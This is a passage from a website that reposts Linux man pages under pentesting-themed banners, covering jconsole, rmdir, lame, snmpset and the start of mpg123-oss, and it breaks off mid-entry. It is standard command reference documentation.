NAME 🖥️ jconsole 🖥️

start a graphical console to monitor and manage Java applications

SYNOPSIS

jconsole [-interval=n] [-notile] [-plugin path] [-version] [connection … ] [**-J**input_arguments]

jconsole -help

OPTIONS

-interval
Sets the update interval to n seconds (default is 4 seconds).

-notile
Doesn’t tile the windows for two or more connections.

-pluginpath path
Specifies the path that jconsole uses to look up plug-ins. The plug-in path should contain a provider-configuration file named META-INF/services/com.sun.tools.jconsole.JConsolePlugin that contains one line for each plug-in. The line specifies the fully qualified class name of the class implementing the com.sun.tools.jconsole.JConsolePlugin class.

-version
Prints the program version.

connection = pid | host:port | jmxURL
A connection is described by either pid, host**:**port or jmxURL.

  • The pid value is the process ID of a target process. The JVM must be running with the same user ID as the user ID running the jconsole command.

  • The host**:**port values are the name of the host system on which the JVM is running, and the port number specified by the system property com.sun.management.jmxremote.port when the JVM was started.

  • The jmxUrl value is the address of the JMX agent to be connected to as described in JMXServiceURL.

****-Jinput_arguments
Passes input_arguments to the JVM on which the jconsole command is run.

-help or --help
Displays the help message for the command.

DESCRIPTION

The jconsole command starts a graphical console tool that lets you monitor and manage Java applications and virtual machines on a local or remote machine.

On Windows, the jconsole command doesn’t associate with a console window. It does, however, display a dialog box with error information when the jconsole command fails.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2214 - Linux cli command rmdir

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rmdir and provides detailed information about the command rmdir, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rmdir.

NAME 🖥️ rmdir 🖥️

remove empty directories

SYNOPSIS

rmdir [OPTION]… DIRECTORY

DESCRIPTION

Remove the DIRECTORY(ies), if they are empty.

–ignore-fail-on-non-empty
ignore each failure to remove a non-empty directory

-p, –parents
remove DIRECTORY and its ancestors; e.g., ‘rmdir -p a/b’ is similar to ‘rmdir a/b a’

-v, –verbose
output a diagnostic for every directory processed

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

rmdir(2)

Full documentation <https://www.gnu.org/software/coreutils/rmdir>
or available locally via: info ‘(coreutils) rmdir invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2215 - Linux cli command lame

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lame and provides detailed information about the command lame, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lame.

NAME 🖥️ lame 🖥️

create mp3 audio files

SYNOPSIS

lame [options] <infile> <outfile>

DESCRIPTION

LAME is a program which can be used to create compressed audio files. (Lame ain’t an MP3 encoder). These audio files can be played back by popular MP3 players such as mpg123 or madplay. To read from stdin, use “-” for <infile>. To write to stdout, use “-” for <outfile>.

OPTIONS

Input options:

-r
Assume the input file is raw pcm. Sampling rate and mono/stereo/jstereo must be specified on the command line. For each stereo sample, LAME expects the input data to be ordered left channel first, then right channel. By default, LAME expects them to be signed integers with a bitwidth of 16 and stored in little-endian. Without -r, LAME will perform several fseek()’s on the input file looking for WAV and AIFF headers.
Might not be available on your release.

-x
Swap bytes in the input file (or output file when using –decode).
For sorting out little endian/big endian type problems. If your encodings sounds like static, try this first.
Without using -x, LAME will treat input file as native endian.

-s* sfreq*
sfreq = 8/11.025/12/16/22.05/24/32/44.1/48

Required only for raw PCM input files. Otherwise it will be determined from the header of the input file.

LAME will automatically resample the input file to one of the supported MP3 samplerates if necessary.

–bitwidth* n*
Input bit width per sample.
n = 8, 16, 24, 32 (default 16)

Required only for raw PCM input files. Otherwise it will be determined from the header of the input file.

–signed
Instructs LAME that the samples from the input are signed (the default for 16, 24 and 32 bits raw pcm data).

Required only for raw PCM input files.

–unsigned
Instructs LAME that the samples from the input are unsigned (the default for 8 bits raw pcm data, where 0x80 is zero).

Required only for raw PCM input files and only available at bitwidth 8.

–little-endian
Instructs LAME that the samples from the input are in little-endian form.

Required only for raw PCM input files.

–big-endian
Instructs LAME that the samples from the input are in big-endian form.

Required only for raw PCM input files.

–mp1input
Assume the input file is a MPEG Layer I (ie MP1) file.
If the filename ends in “.mp1” LAME will assume it is a MPEG Layer I file. For stdin or Layer I files which do not end in .mp1 you need to use this switch.

–mp2input
Assume the input file is a MPEG Layer II (ie MP2) file.
If the filename ends in “.mp2” LAME will assume it is a MPEG Layer II file. For stdin or Layer II files which do not end in .mp2 you need to use this switch.

–mp3input
Assume the input file is a MP3 file.
Useful for downsampling from one mp3 to another. As an example, it can be useful for streaming through an IceCast server.
If the filename ends in “.mp3” LAME will assume it is an MP3. For stdin or MP3 files which do not end in .mp3 you need to use this switch.

–nogap* file1 file2 …*
gapless encoding for a set of contiguous files

–nogapout* dir*
output dir for gapless encoding (must precede –nogap)

–out-dir* dir*
If no explicit output file is specified, a file will be written at given path. Ignored when using piped/streamed input

Operational options:

-m* mode*
mode = s, j, f, d, m, l, r

Joint-stereo is the default mode for stereo files.

(s)imple stereo (Forced LR)
In this mode, the encoder makes no use of potentially existing correlations between the two input channels. It can, however, negotiate the bit demand between both channel, i.e. give one channel more bits if the other contains silence or needs less bits because of a lower complexity.

(j)oint stereo
In this mode, the encoder can use (on a frame by frame basis) either L/R stereo or mid/side stereo. In mid/side stereo, the mid (L+R) and side (L-R) channels are encoded, and more bits are allocated to the mid channel than the side channel. When there isn’t too much stereo separation, this effectively increases the bandwidth, so having higher quality with the same amount of bits.

Using mid/side stereo inappropriately can result in audible compression artifacts. Too much switching between mid/side and regular stereo can also sound bad. To determine when to switch to mid/side stereo, LAME uses a much more sophisticated algorithm than the one described in the ISO documentation.

(f)orced MS stereo
Forces all frames to be encoded with mid/side stereo. It should be used only if you are sure that every frame of the input file has very little stereo separation.

(d)ual channel
In this mode, the 2 channels will be totally independently encoded. Each channel will have exactly half of the bitrate. This mode is designed for applications like dual languages encoding (for example: English in one channel and French in the other). Using this encoding mode for regular stereo files will result in a lower quality encoding.

(m)ono
The input will be encoded as a mono signal. If it was a stereo signal, it will be downsampled to mono. The downmix is calculated as the sum of the left and right channel, attenuated by 6 dB. Also note that, if using a stereo RAW PCM stream, you need to use the -a parameter.

(l)eft channel only
The input will be encoded as a mono signal. If it was a stereo signal, the left channel will be encoded only.

(r)ight channel only
The input will be encoded as a mono signal. If it was a stereo signal, the right channel will be encoded only.

-a
Mix the stereo input file to mono and encode as mono.
The downmix is calculated as the sum of the left and right channel, attenuated by 6 dB.

This option is only needed in the case of raw PCM stereo input (because LAME cannot determine the number of channels in the input file). To encode a stereo RAW PCM input file as mono, use lame -a -m m

For WAV and AIFF input files, using -m m will always produce a mono .mp3 file from both mono and stereo input.

–freeformat
Produces a free format bitstream. With this option, you can use -b with any bitrate higher than 8 kbps.

However, even if an mp3 decoder is required to support free bitrates at least up to 320 kbps, many players are unable to deal with it.

Tests have shown that the following decoders support free format:
in_mpg123 up to 560 kbps
l3dec up to 310 kbps
LAME up to 640 kbps
MAD up to 640 kbps

–decode
Uses LAME for decoding to a wav file. The input file can be any input type supported by encoding, including layer II files. LAME uses a fork of mpglib known as HIP for decoding.

If -t is used (disable wav header), LAME will output raw pcm in native endian format. You can use -x to swap bytes order.

This option is not usable if the MP3 decoder was explicitly disabled in the build of LAME.

-t
Disable writing of the INFO Tag on encoding.
This tag is embedded in frame 0 of the MP3 file. It includes some information about the encoding options of the file, and in VBR it lets VBR aware players correctly seek and compute playing times of VBR files.

When –decode is specified (decode to WAV), this flag will disable writing of the WAV header. The output will be raw pcm, native endian format. Use -x to swap bytes.

–comp* arg*
Instead of choosing bitrate, using this option, user can choose compression ratio to achieve.

–scale* n*

–scale-l* n*
–scale-r* n*
Scales input (every channel, only left channel or only right channel) by n. This just multiplies the PCM data (after it has been converted to floating point) by n.

n > 1: increase volume
n = 1: no effect
n < 1: reduce volume

Use with care, since most MP3 decoders will truncate data which decodes to values greater than 32768.

–replaygain-fast
Compute ReplayGain fast but slightly inaccurately.

This computes “Radio” ReplayGain on the input data stream after user‐specified volume‐scaling and/or resampling.

The ReplayGain analysis does not affect the content of a compressed data stream itself, it is a value stored in the header of a sound file. Information on the purpose of ReplayGain and the algorithms used is available from http://www.replaygain.org/.

Only the “RadioGain” Replaygain value is computed, it is stored in the LAME tag. The analysis is performed with the reference volume equal to 89dB. Note: the reference volume has been changed from 83dB on transition from version 3.95 to 3.95.1.

This switch is enabled by default.

See also: –replaygain-accurate, –noreplaygain

–replaygain-accurate
Compute ReplayGain more accurately and find the peak sample.

This computes “Radio” ReplayGain on the decoded data stream, finds the peak sample by decoding on the fly the encoded data stream and stores it in the file. The ReplayGain analysis does not affect the content of a compressed data stream itself, it is a value stored in the header of a sound file. Information on the purpose of ReplayGain and the algorithms used is available from http://www.replaygain.org/.

By default, LAME performs ReplayGain analysis on the input data (after the user‐specified volume scaling). This behavior might give slightly inaccurate results because the data on the output of a lossy compression/decompression sequence differs from the initial input data. When –replaygain-accurate is specified the mp3 stream gets decoded on the fly and the analysis is performed on the decoded data stream. Although theoretically this method gives more accurate results, it has several disadvantages:

  • tests have shown that the difference between the ReplayGain values computed on the input data and decoded data is usually not greater than 0.5dB, although the minimum volume difference the human ear can perceive is about 1.0dB

  • decoding on the fly significantly slows down the encoding process

The apparent advantage is that:

  • with –replaygain-accurate the real peak sample is determined and stored in the file. The knowledge of the peak sample can be useful to decoders (players) to prevent a negative effect called ‘clipping’ that introduces distortion into the sound.

Only the “RadioGain” ReplayGain value is computed, it is stored in the LAME tag. The analysis is performed with the reference volume equal to 89dB. Note: the reference volume has been changed from 83dB on transition from version 3.95 to 3.95.1. This option is not usable if the MP3 decoder was explicitly disabled in the build of LAME. (Note: if LAME is compiled without the MP3 decoder, ReplayGain analysis is performed on the input data after user-specified volume scaling). See also: –replaygain-fast, –noreplaygain –clipdetect

–noreplaygain
Disable ReplayGain analysis.

By default ReplayGain analysis is enabled. This switch disables it.

See also: –replaygain-fast, –replaygain-accurate

–clipdetect
Clipping detection.

Enable –replaygain-accurate and print a message whether clipping occurs and how far in dB the waveform is from full scale. This option is not usable if the MP3 decoder was explicitly disabled in the build of LAME.

See also: –replaygain-accurate

–preset type | [cbr] kbps
Use one of the built-in presets.

Have a look at the PRESETS section below.

–preset help gives more infos about the the used options in these presets.

–noasm type
Disable specific assembly optimizations ( mmx / 3dnow / sse ). Quality will not increase, only speed will be reduced. If you have problems running Lame on a Cyrix/Via processor, disabling mmx optimizations might solve your problem.

Verbosity:

–disptime* n*
Set the delay in seconds between two display updates.

–nohist
By default, LAME will display a bitrate histogram while producing VBR mp3 files. This will disable that feature.
Histogram display might not be available on your release.

-S

–silent
–quiet
Do not print anything on the screen.

–verbose
Print a lot of information on the screen.

–help
Display a list of available options.

Noise shaping & psycho acoustic algorithms:

-q* qual*
0 <= qual <= 9

Bitrate is of course the main influence on quality. The higher the bitrate, the higher the quality. But for a given bitrate, we have a choice of algorithms to determine the best scalefactors and Huffman encoding (noise shaping).

For CBR and ABR, the following table applies:

-q 0:
Use the best algorithms (Best Huffman coding search, full outer loop, and the highest precision of several parameters).

-q 1 to q 4:
Similar to -q 0 without the full outer loop and decreasing precision of parameters the further from q0. -q 3 is the default.

-q 5 and -q 6:
Same as -q 7, but enables noise shaping and increases subblock gain

-q 7 to -q 9:
Same as -f. Very fast, OK quality. Psychoacoustics are used for pre-echo and mid/side stereo, but no noise-shaping is done.

For the default VBR mode since LAME 3.98, the following table applies :

-q 0 to -q 4:
include all features of the other modes and additionally use the best search when applying Huffman coding.

-q 5 and -q 6:
include all features of -q7, calculate and consider actual quantisation noise, and additionally enable subblock gain.

-q 7 to -q 9
This level uses a psymodel but does not calculate quantisation noise when encoding: it takes a quick guess.

-h
Alias of -q 2

-f
Alias of -q 7

CBR (constant bitrate, the default) options:

-b* n*
For MPEG-1 (sampling frequencies of 32, 44.1 and 48 kHz)
n = 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320

For MPEG-2 (sampling frequencies of 16, 22.05 and 24 kHz)
n = 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160

For MPEG-2.5 (sampling frequencies of 8, 11.025 and 12 kHz)
n = 8, 16, 24, 32, 40, 48, 56, 64

Default is 128 for MPEG1 and 64 for MPEG2 and 32 for MPEG2.5 (64, 32 and 16 respectively in case of mono).

–cbr
enforce use of constant bitrate. Used to disable VBR or ABR encoding even if their settings are enabled.

ABR (average bitrate) options:

–abr* n*
Turns on encoding with a targeted average bitrate of n kbits, allowing to use frames of different sizes. The allowed range of n is 8 - 310, you can use any integer value within that range.

It can be combined with the -b and -B switches like: lame –abr 123 -b 64 -B 192 a.wav a.mp3 which would limit the allowed frame sizes between 64 and 192 kbits.

The use of -B is NOT RECOMMENDED. A 128 kbps CBR bitstream, because of the bit reservoir, can actually have frames which use as many bits as a 320 kbps frame. VBR modes minimize the use of the bit reservoir, and thus need to allow 320 kbps frames to get the same flexibility as CBR streams.

VBR (variable bitrate) options:

-v
use variable bitrate (–vbr-new)

–vbr-old
Invokes the oldest, most tested VBR algorithm. It produces very good quality files, though is not very fast. This has, up through v3.89, been considered the “workhorse” VBR algorithm.

–vbr-new
Invokes the newest VBR algorithm. During the development of version 3.90, considerable tuning was done on this algorithm, and it is now considered to be on par with the original –vbr-old. It has the added advantage of being very fast (over twice as fast as –vbr-old ). This is the default since 3.98.

-V* n*
0 <= n <= 9.999
Enable VBR (Variable BitRate) and specifies the value of VBR quality (default = 4). Decimal values can be specified, like 4.51.
0 = highest quality.

ABR and VBR options:

-b* bitrate*
For MPEG-1 (sampling frequencies of 32, 44.1 and 48 kHz)
n = 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320

For MPEG-2 (sampling frequencies of 16, 22.05 and 24 kHz)
n = 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160

For MPEG-2.5 (sampling frequencies of 8, 11.025 and 12 kHz)
n = 8, 16, 24, 32, 40, 48, 56, 64

Specifies the minimum bitrate to be used. However, in order to avoid wasted space, the smallest frame size available will be used during silences.

-B* bitrate*
For MPEG-1 (sampling frequencies of 32, 44.1 and 48 kHz)
n = 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320

For MPEG-2 (sampling frequencies of 16, 22.05 and 24 kHz)
n = 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160

For MPEG-2.5 (sampling frequencies of 8, 11.025 and 12 kHz)
n = 8, 16, 24, 32, 40, 48, 56, 64

Specifies the maximum allowed bitrate.

Note: If you own an mp3 hardware player build upon a MAS 3503 chip, you must set maximum bitrate to no more than 224 kpbs.

-F
Strictly enforce the -b option.
This is mainly for use with hardware players that do not support low bitrate mp3.

Without this option, the minimum bitrate will be ignored for passages of analog silence, i.e. when the music level is below the absolute threshold of human hearing (ATH).

Experimental options:

-X* n*
0 <= n <= 7

When LAME searches for a “good” quantization, it has to compare the actual one with the best one found so far. The comparison says which one is better, the best so far or the actual. The -X parameter selects between different approaches to make this decision, -X0 being the default mode:

-X0
The criteria are (in order of importance):
* less distorted scalefactor bands
* the sum of noise over the thresholds is lower
* the total noise is lower

-X1
The actual is better if the maximum noise over all scalefactor bands is less than the best so far.

-X2
The actual is better if the total sum of noise is lower than the best so far.

-X3
The actual is better if the total sum of noise is lower than the best so far and the maximum noise over all scalefactor bands is less than the best so far plus 2dB.

-X4
Not yet documented.

-X5
The criteria are (in order of importance):
* the sum of noise over the thresholds is lower
* the total sum of noise is lower

-X6
The criteria are (in order of importance):
* the sum of noise over the thresholds is lower
* the maximum noise over all scalefactor bands is lower
* the total sum of noise is lower

-X7
The criteria are:
* less distorted scalefactor bands
or
* the sum of noise over the thresholds is lower

-Y
lets LAME ignore noise in sfb21, like in CBR

MP3 header/stream options:

-e* emp*
emp = n, 5, c

n = (none, default)
5 = 0/15 microseconds
c = citt j.17

All this does is set a flag in the bitstream. If you have a PCM input file where one of the above types of (obsolete) emphasis has been applied, you can set this flag in LAME. Then the mp3 decoder should de-emphasize the output during playback, although most decoders ignore this flag.

A better solution would be to apply the de-emphasis with a standalone utility before encoding, and then encode without -e.

-c
Mark the encoded file as being copyrighted.

-o
Mark the encoded file as being a copy.

-p
Turn on CRC error protection.
It will add a cyclic redundancy check (CRC) code in each frame, allowing to detect transmission errors that could occur on the MP3 stream. However, it takes 16 bits per frame that would otherwise be used for encoding, and then will slightly reduce the sound quality.

–nores
Disable the bit reservoir. Each frame will then become independent from previous ones, but the quality will be lower.

–strictly-enforce-ISO
With this option, LAME will enforce the 7680 bit limitation on total frame size.
This results in many wasted bits for high bitrate encodings but will ensure strict ISO compatibility. This compatibility might be important for hardware players.

Filter options:

–lowpass* freq*
Set a lowpass filtering frequency in kHz. Frequencies above the specified one will be cutoff.

–lowpass-width* freq*
Set the width of the lowpass filter. The default value is 15% of the lowpass frequency.

–highpass* freq*
Set an highpass filtering frequency in kHz. Frequencies below the specified one will be cutoff.

–highpass-width* freq*
Set the width of the highpass filter in kHz. The default value is 15% of the highpass frequency.

–resample* sfreq*
sfreq = 8, 11.025, 12, 16, 22.05, 24, 32, 44.1, 48
Select output sampling frequency (only supported for encoding).
If not specified, LAME will automatically resample the input when using high compression ratios.

ID3 tag options:

–tt* title*
audio/song title (max 30 chars for version 1 tag)

–ta* artist*
audio/song artist (max 30 chars for version 1 tag)

–tl* album*
audio/song album (max 30 chars for version 1 tag)

–ty* year*
audio/song year of issue (1 to 9999)

–tc* comment*
user-defined text (max 30 chars for v1 tag, 28 for v1.1)

–tn* track[/total]*
audio/song track number and (optionally) the total number of tracks on the original recording. (track and total each 1 to 255. Providing just the track number creates v1.1 tag, providing a total forces v2.0).

–tg* genre*
audio/song genre (name or number in list)

–tv* id=value*
Text or URL frame specified by id and value (v2.3 tag). User defined frame. Syntax: –tv “TXXX=description=content”

–add-id3v2
force addition of version 2 tag

–id3v1-only
add only a version 1 tag

–id3v2-only
add only a version 2 tag

–id3v2-latin1
add following options in ISO-8859-1 text encoding.

–id3v2-utf16
add following options in unicode text encoding.

–space-id3v1
pad version 1 tag with spaces instead of nulls

–pad-id3v2
same as –pad-id3v2-size 128

–pad-id3v2-size num
adds version 2 tag, pad with extra “num” bytes

–genre-list
print alphabetically sorted ID3 genre list and exit

–ignore-tag-errors
ignore errors in values passed for tags, use defaults in case an error occurs

Analysis options:

-g
run graphical analysis on <infile>. <infile> can also be a .mp3 file. (This feature is a compile time option. Your binary may for speed reasons be compiled without this.)

ID3 TAGS

LAME is able to embed ID3 v1, v1.1 or v2 tags inside the encoded MP3 file. This allows one to have some useful information about the music track included inside the file. Those data can be read by most MP3 players.

Lame will smartly choose which tags to use. It will add ID3 v2 tags only if the input comments won’t fit in v1 or v1.1 tags, i.e. if they are more than 30 characters. In this case, both v1 and v2 tags will be added, to ensure reading of tags by MP3 players which are unable to read ID3 v2 tags.

ENCODING MODES

LAME is able to encode your music using one of its 3 encoding modes: constant bitrate (CBR), average bitrate (ABR) and variable bitrate (VBR).

Constant Bitrate (CBR)
This is the default encoding mode, and also the most basic. In this mode, the bitrate will be the same for the whole file. It means that each part of your mp3 file will be using the same number of bits. The musical passage being a difficult one to encode or an easy one, the encoder will use the same bitrate, so the quality of your mp3 is variable. Complex parts will be of a lower quality than the easiest ones. The main advantage is that the final files size won’t change and can be accurately predicted.

Average Bitrate (ABR)
In this mode, you choose the encoder will maintain an average bitrate while using higher bitrates for the parts of your music that need more bits. The result will be of higher quality than CBR encoding but the average file size will remain predictable, so this mode is highly recommended over CBR. This encoding mode is similar to what is referred as vbr in AAC or Liquid Audio (2 other compression technologies).

Variable bitrate (VBR)
In this mode, you choose the desired quality on a scale from 9 (lowest quality/biggest distortion) to 0 (highest quality/lowest distortion). Then encoder tries to maintain the given quality in the whole file by choosing the optimal number of bits to spend for each part of your music. The main advantage is that you are able to specify the quality level that you want to reach, but the inconvenient is that the final file size is totally unpredictable.

PRESETS

The –preset switches are aliases over LAME settings.

To activate these presets:

For VBR modes (generally highest quality):

–preset medium
This preset should provide near transparency to most people on most music.

–preset standard
This preset should generally be transparent to most people on most music and is already quite high in quality.

–preset extreme
If you have extremely good hearing and similar equipment, this preset will generally provide slightly higher quality than the standard mode.

For CBR 320kbps (highest quality possible from the –preset switches):

–preset insane
This preset will usually be overkill for most people and most situations, but if you must have the absolute highest quality with no regard to filesize, this is the way to go.

For ABR modes (high quality per given bitrate but not as high as VBR):

–preset kbps
Using this preset will usually give you good quality at a specified bitrate. Depending on the bitrate entered, this preset will determine the optimal settings for that particular situation. While this approach works, it is not nearly as flexible as VBR, and usually will not attain the same level of quality as VBR at higher bitrates.

cbr
If you use the ABR mode (read above) with a significant bitrate such as 80, 96, 112, 128, 160, 192, 224, 256, 320, you can use the –preset cbr kbps option to force CBR mode encoding instead of the standard ABR mode. ABR does provide higher quality but CBR may be useful in situations such as when streaming an MP3 over the Internet may be important.

EXAMPLES

Fixed bit rate jstereo 128kbs encoding:

lame -b 128 sample.wav sample.mp3

Fixed bit rate jstereo 128 kbps encoding, highest quality:

lame -q 0 -b 128 sample.wav sample.mp3

To disable joint stereo encoding (slightly faster, but less quality at bitrates <= 128 kbps):

lame -m s sample.wav sample.mp3

Variable bitrate (use -V n to adjust quality/filesize):

lame -V 2 sample.wav sample.mp3

Streaming mono 22.05 kHz raw pcm, 24 kbps output:

cat inputfile | lame -r -m m -b 24 -s 22.05 - - > output

Streaming mono 44.1 kHz raw pcm, with downsampling to 22.05 kHz:

cat inputfile | lame -r -m m -b 24 –resample 22.05 - - > output

Encode with the standard preset:

lame –preset standard sample.wav sample.mp3

BUGS

Probably there are some.

SEE ALSO

mpg123(1), madplay(1), sox(1)

AUTHORS

LAME originally developed by Mike Cheng and now maintained by
Mark Taylor, and the LAME team.

GPSYCHO psycho-acoustic model by Mark Taylor.
(See http://www.mp3dev.org/).

mpglib by Michael Hipp

Manual page by William Schelter, Nils Faerber, Alexander Leidinger,
and Rogério Brito.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2216 - Linux cli command snmpset

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpset and provides detailed information about the command snmpset, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpset.

NAME 🖥️ snmpset 🖥️

communicates with a network entity using SNMP SET requests

SYNOPSIS

snmpset [COMMON OPTIONS] AGENT OID TYPE VALUE [OID TYPE VALUE]…

DESCRIPTION

snmpset is an SNMP application that uses the SNMP SET request to set information on a network entity. One or more object identifiers (OIDs) must be given as arguments on the command line. A type and a value to be set must accompany each object identifier. Each variable name is given in the format specified in variables(5).

The TYPE is a single character, one of:

i
INTEGER

u
UNSIGNED

s
STRING

x
HEX STRING

d
DECIMAL STRING

n
NULLOBJ

o
OBJID

t
TIMETICKS

a
IPADDRESS

b
BITS

Most of these will use the obvious corresponding ASN.1 type. ’s’, ‘x’, ’d’ and ‘b’ are all different ways of specifying an OCTET STRING value, and the ‘u’ unsigned type is also used for handling Gauge32 values.

If you have the proper MIB file loaded, you can, in most cases, replace the type with an ‘=’ sign. For an object of type OCTET STRING this will assume a string like the ’s’ type notation. For other types it will do “The Right Thing”.

For example:

snmpset -c private -v 1 test-hub system.sysContact.0 s [email protected] ip.ipforwarding.0 = 2

will set the variables sysContact.0 and ipForwarding.0:

system.sysContact.0 = STRING: “[email protected]
ip.ipForwarding.0 = INTEGER: not-forwarding(2)

If the network entity has an error processing the request packet, an error packet will be returned and a message will be shown, helping to pinpoint in what way the request was malformed.

OPTIONS

snmpset takes the common options described in the snmpcmd(1) manual page. Note that snmpset REQUIRES an argument specifying the agent to query and at least one set of OID/type/value arguments, as described in there.

SEE ALSO

snmpcmd(1), variables(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2217 - Linux cli command mpg123-oss

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mpg123-oss and provides detailed information about the command mpg123-oss, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mpg123-oss.

NAME 🖥️ mpg123-oss 🖥️

play audio MPEG 1.0/2.0/2.5 stream (layers 1, 2 and 3)

SYNOPSIS

mpg123 [ options ] file-or-URL

DESCRIPTION

mpg123 reads one or more *file *s (or standard input if ``-’’ is specified) or *URL *s and plays them on the audio device (default) or outputs them to stdout. *file */URL is assumed to be an MPEG audio bit stream.

OPERANDS

The following operands are supported:

file(s)
The path name(s) of one or more input files. They must be valid MPEG-1.0/2.0/2.5 audio layer 1, 2 or 3 bit streams. If a dash ``-’’ is specified, MPEG data will be read from the standard input. Furthermore, any name starting with ``http://’’ or ``https://’’ is recognized as URL (see next section), while a leading ``file://’’ is being stripped for normal local file access, for consistency (since mpg123 1.30.1).

OPTIONS

mpg123 options may be either the traditional POSIX one letter options, or the GNU style long options. POSIX style options start with a single ``-’’, while GNU long options start with ``- -’’. Option arguments (if needed) follow separated by whitespace (not ``=’’). Note that some options can be absent from your installation when disabled in the build process.

INPUT OPTIONS

-k num, - -skip num
Skip first num frames. By default the decoding starts at the first frame.

-n num, - -frames num
Decode only num frames. By default the complete stream is decoded.

–fuzzy
